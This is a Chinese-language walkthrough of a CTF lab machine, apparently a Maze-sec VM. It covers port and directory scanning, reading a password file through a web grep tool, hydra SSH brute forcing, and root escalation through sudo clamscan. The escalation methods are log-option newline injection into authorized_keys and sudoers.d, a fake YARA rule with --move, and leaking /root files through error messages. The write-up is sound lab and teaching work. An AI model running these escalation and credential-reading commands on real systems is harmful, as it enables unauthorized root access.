

端口扫描

nmap扫描得到两个端口22和80，接下来对80端口进行目录扫描

```
(root@kali)~[/home/kali]
# nmap 192.168.209.141
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-26 18:36 +0800
Nmap scan report for 192.168.209.141
Host is up (0.00072s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 86:A5:0E:7C:3A:83 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds
```

目录扫描

得到三个目录，访问之后发现/index.php和/index.php/login是同一个界面，

```
(root@kali)-[/home/kali]
# dirsearch -u http://192.168.209.141
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: De
from pkg_resources import DistributionNotFound, VersionCor
```












Extensions: php, aspx, jsp, html, js | **HTTP method:** GET | **Th**

Output File: /home/kali/reports/http_192.168.209.141/_26-04-

Target: <http://192.168.209.141/>

[18:41:13] Starting:

访问端口、目录

访问80端口，是团队的介绍，最底下是三位群友

welcomo to Maze-sec

进入网络安全的迷宫，探索未知的数字世界

🏠 欢迎来到 Maze-sec

Maze-sec 是一个专注于网络安全研究、数字防御和加密技术的虚拟空间。在这里，我们探索网络世界的迷宫，发现隐藏在数据深处的秘密。

我们的使命是为安全研究人员、开发者和数字探险家提供一个交流知识、分享发现和协作创新的平台。

无论你是网络安全新手还是经验丰富的专家，Maze-sec 都有适合你的探索路径。

🛡️ 核心特性

🔒 加密技术

深入研究现代加密算法，保护数据隐私和安全通信。

🔍 漏洞研究

发现、分析和报告软件与系统中的安全漏洞。

🏰 网络防御

构建强大的网络防御体系，抵御不断进化的网络威胁。

Maze-sec 安全研究团队 © 2026

👤 dington

👤 lingmj

👤 sublarge

访问index.php发现是个grep命令执行的web版本，搜索模式写个"."就可以，这样能把整个文件的内容拉出来，底下的选项我们需要选递归搜索和perl，一方面是这样不会漏文件，另一方面是能够兼容正则表达式，这里为对home路径下的所有文件进行了搜索发现了密码

Grep Command Interface

.

/home/

执行搜索

☒ Recursive (-r)☐ Line Number (-n)☒ Perl-Regex (-P)☐ Ignore Case (-i)☐ Invert Match (-v)☐ Word Regex (-w)☐ Files with Match (-l)☐ Count Only (-c)☐ No Filename (-h)☐ Text as Binary (-a)

Execution Error:
Error Code: 2
/home/password.txt:JPTv153qcST0PGX12zUJ
/home/password.txt:ZBCwata8n9mhZsqCY4r4
/home/password.txt:JtNBtwsnG3kDtarwMty7
/home/password.txt:tSM9QTZQrKQoeyh58TwA
/home/password.txt:nYlvFBLuBpwfTz4pDA9L
/home/password.txt:v6hRcJ1uzXJDyaj2vcZa
/home/password.txt:K71s6LtWVifIPZY6jtbj
/home/password.txt:9v14Tx7qRVAQyAlgmfrD
/home/password.txt:eQ4Ykp2rT3ctBeffMlaB
/home/password.txt:irWi8a6GmY38GRSFQA1s
/home/password.txt:lxtKObkUqIt16tomPpO6
/home/password.txt:0ZLiSbbipJqeRsH8CydR
/home/password.txt:aQNVd6vzG2DSMJYY04u0
/home/password.txt:D0uS9Gf4sds4siomJuRU
/home/password.txt:rlU06sHwShjbEeyMltIq
/home/password.txt:cRyL0libm1TwYW9nG6o1
/home/password.txt:EgBAn0e95nMC7rcgznO

得到密码可以尝试进行爆破，当然到这一步可以先读取user.txt，这里一起演示

.

/home/sublarge/user.txt

执行搜索

☒ Recursive (-r)☐ Line Number (-n)☒ Perl-Regex (-P)☐ Ignore Case (-i)☐ Invert Match (-v)☐ Word Regex (-w)☐ Files with Match (-l)☐ Count Only (-c)☐ No Filename (-h)☐ Text as Binary (-a)

Result:
flag{user-a12a54e153382522c1bbfd247b667b25}

接下来继续爆破，我们自定义密码和用户，这里用户应该就是80端口的那三位群友，这里使用hydra爆破，需要注意的是并发线程不要设置太高，设置过高会导致爆破失败，靶机会禁止你登录（看了群主的视频了解到后，自己也去测试了一下确实会这样）

```
hydra -L users.txt -P passwords.txt ssh://192.168.209.141 -t 4
```

```

(root@kali)~[/home/kali]
# hydra -L users.txt -P passwords.txt ssh://192.168.209.141 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or se
re laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 19:06:06
[DATA] max 4 tasks per 1 server, overall 4 tasks, 111 login tries (l:3/p:37), ~28 tries per
[DATA] attacking ssh://192.168.209.141:22/
[22][ssh] host: 192.168.209.141 login: sublarge password: cRyL0libm1TwYW9nG6o1
[22][ssh] host: 192.168.209.141 login: dingtom password: QWRRqfkxvUruKKGgx4uk
[STATUS] 95.00 tries/min, 95 tries in 00:01h, 16 to do in 00:01h, 4 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-26 19:07:35

```

这里只爆破出来两个用户密码，下面是并发线程设置过高的结果

```

(root@kali)~[/home/kali]
# hydra -L users.txt -P passwords.txt ssh://192.168.209.141 -t 20
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organ
re laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 19:12:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:
[DATA] max 20 tasks per 1 server, overall 20 tasks, 111 login tries (l:3/p:37), ~6 tries per task
[DATA] attacking ssh://192.168.209.141:22/
[ERROR] could not connect to ssh://192.168.209.141:22 - Socket error: Connection reset by peer

```

得到密码进行登录，接下来就是提权

提权

sudo -l 查看得到两个结果，一个是可以免密运行sudo id，执行的结果是你会发现你成为了root用户，但是别高兴太早，这个id其实算是一个小坑吧，clamscan是一个杀毒软件，我们可以利用这个进行提权。

```

sublarge@SDL:~$ sudo -l
Matching Defaults entries for sublarge on SDL:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\::/usr/local/bin\::/usr/sbin\::/usr/bin\::/sbin\::/bin, use_pty

User sublarge may run the following commands on SDL:
    (ALL : ALL) NOPASSWD: /usr/bin/id
    (ALL : ALL) NOPASSWD: /usr/bin/clamscan

```

接下来有两条线路，一条线路是log参数利用换行符实现注入，进行提权，另一条线路是move参数实现 自定义病毒库任意写入，进行提权。

第一条线路（log参数）

这里先复现一下群主的方案，写入公钥

```
sublarge@SDL:~$ sudo /usr/bin/clamscan --log=/root/.ssh/authorized_keys '
>
>
> ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQC+BT8HPQyhJq1/VCCrAt6rUnkL+L3Epgh4q+QprPnfk2W+INxfhq3RVexE6PykxqGxm8/JNqbA2sGBuwipsgJqhBPnoP03uDMVTFQqVVJfD7HKELBtKi+L4UtcfJMdz1sHs/jgYwabXm
zEoUvaOaxSp7/BM7Z+fe1DVIALNidsmdP5hwxW0S1zoetmqrTTJaJY5w8KJTJu5XteG4GNag7RTT3dTBLLfuEIR1K5PQG6mph3cX3uoG+dj15JhRCUGda+NCvrLew96AGCWbaCG5zDeZZX4GFeeC9kxjMLKWbbsAi fgC8VWWL1W3IIgfUw3n
nd2RBSi6/6g+Fx7gJwkhzZ7JSPjwVZV7gVP+Pj/hYprG1XC6KL/X9aTuNEkuLFdAKeE1d4J7D+TQEKy8PHK90J94W1UBJTas0Js0mbSEBme1RLJP7azP59JZpt0Avb3QY9vffKqSENVf2XY4NTn5XWPBTNfKSK0SjrP9+Zkfy9nnSCiKGH
RkTMQ36FK2Fg8= root@kali
>
>
> '
```

写入公钥这个方案我有尝试找过ai，正如群主所言，ai对写入公钥这个方案并不赞同，反而建议我去使用ED25519密钥

```
(root@kali) - [ ~/.ssh ]
# ssh root@192.168.209.141
The authenticity of host '192.168.209.141 (192.168.209.141)' can't be established.
ED25519 key fingerprint is: SHA256:MjoUe50N03T2UcSPmLU3evmpGUywf/3IUm0+1p77cI
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.209.141' (ED25519) to the list of known hosts.
Linux SDL 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.73-1 (2026-02-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 25 11:17:08 2026 from 192.168.3.94
root@SDL:~#
```

最后成功登录

第二个方案就是 Sudoers 日志注入，这个方案是让clamscan将日志写入sudo的辅助配置目录，每次运行时都会自动读取目录下的所有文件，写入的内容是让sublarge用户可以在免密的情况下以任何用户执行任何命令

```
sudo /usr/bin/clamscan --no-summary --log=/etc/sudoers.d/exploit "
sublarge ALL=(ALL:ALL) NOPASSWD: ALL
"
```

```
sublarge@SDL:/tmp$ sudo /usr/bin/clamscan --no-summary --log=/etc/sudoers.d/exploit /etc/passwd "
sublarge ALL=(ALL:ALL) NOPASSWD: ALL
"
/etc/passwd: OK

sublarge ALL=(ALL:ALL) NOPASSWD: ALL
: No such file or directory
WARNING:
sublarge ALL=(ALL:ALL) NOPASSWD: ALL
: Can't access file
sublarge@SDL:/tmp$ sudo su
/etc/sudoers.d/exploit:2:80: syntax error
-----^

/etc/sudoers.d/exploit:4:8: syntax error
WARNING:
^
/etc/sudoers.d/exploit:6:1: syntax error
: Can't access file
^
root@SDL:/tmp#
```

第二条线路（move参数）

首先先制造提权配置文件

```
echo "sublarge ALL=(ALL:ALL) NOPASSWD: ALL" > /tmp/pwn
```

其次伪造YARA病毒库

```
echo 'rule a {strings: $a="sublarge" condition: $a}' > /tmp/a.yara
```

最后触发并提权

```
sudo /usr/bin/clamscan -d /tmp/a.yara --move=/etc/sudoers.d/ /tmp/pwn
sudo su
```

```
sublarge@SDL:~$ echo "sublarge ALL=(ALL:ALL) NOPASSWD: ALL" > /tmp/pwn
sublarge@SDL:~$ echo 'rule a {strings: $a="sublarge" condition: $a}' > /tmp/a.yara
sublarge@SDL:~$ sudo /usr/bin/clamscan -d /tmp/a.yara --move=/etc/sudoers.d/ /tmp/pwn
Loading:      0s, ETA:   0s [=====>]          1/1 sigs
Compiling:    0s, ETA:   0s [=====>]          40/40 tasks

/tmp/pwn: YARA.a.UNOFFICIAL FOUND
traverse_rename: Failed to rename: /tmp/pwn
               to: /etc/sudoers.d/pwn
Error:Invalid cross-device link
/tmp/pwn: moved to '/etc/sudoers.d/pwn'

----- SCAN SUMMARY -----
Known viruses: 1
Engine version: 1.4.3
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 0.469 sec (0 m 0 s)
Start Date: 2026:04:26 08:09:24
End Date:   2026:04:26 08:09:24
sublarge@SDL:~$ sudo su
root@SDL:/home/sublarge#
```

我的方案

最后分享一下我的方案，我首先伪造病毒库，利用clamscan 的-r功能先查看了root路径下的所有文件，发现有个sdl.txt，感觉不对，就尝试读取，读到之后我想着尝试一下，万一是root密码，结果真成功了

首先还是先伪造病毒库

```
touch empty.yara
```

其次查看root路径下的所有文件，利用clamscan的-r功能查看root路径下的所有文件

```
sudo /usr/bin/clamscan -r /root --no-summary
```

然后读取sdl.txt


```
sudo /usr/bin/clamscan --no-summary -d empty.yara -f /root/sdl.txt  
2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'
```

获得密码后进行登录，最后成功提权

```
sublarge@SDL:~$ touch empty.yara  
sublarge@SDL:~$ sudo /usr/bin/clamscan -r /root --no-summary  
/root/.profile: OK  
/root/.lesshst: OK  
/root/.viminfo: OK  
/root/.ssh/authorized_keys: OK  
/root/.bashrc: OK  
/root/.bash_history: Symbolic link  
/root/root.txt: OK  
/root/sdl.txt: OK  
sublarge@SDL:~$ sudo /usr/bin/clamscan --no-summary -d empty.yara -f /root/sdl.txt 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'  
XARApG73jYsmsC7KbfMz  
sublarge@SDL:~$ su root  
Password:  
root@SDL:/home/sublarge# cat /root/root.txt  
flag{root-589c85a767de61cb1a1efe7ed0397649}  
root@SDL:/home/sublarge#
```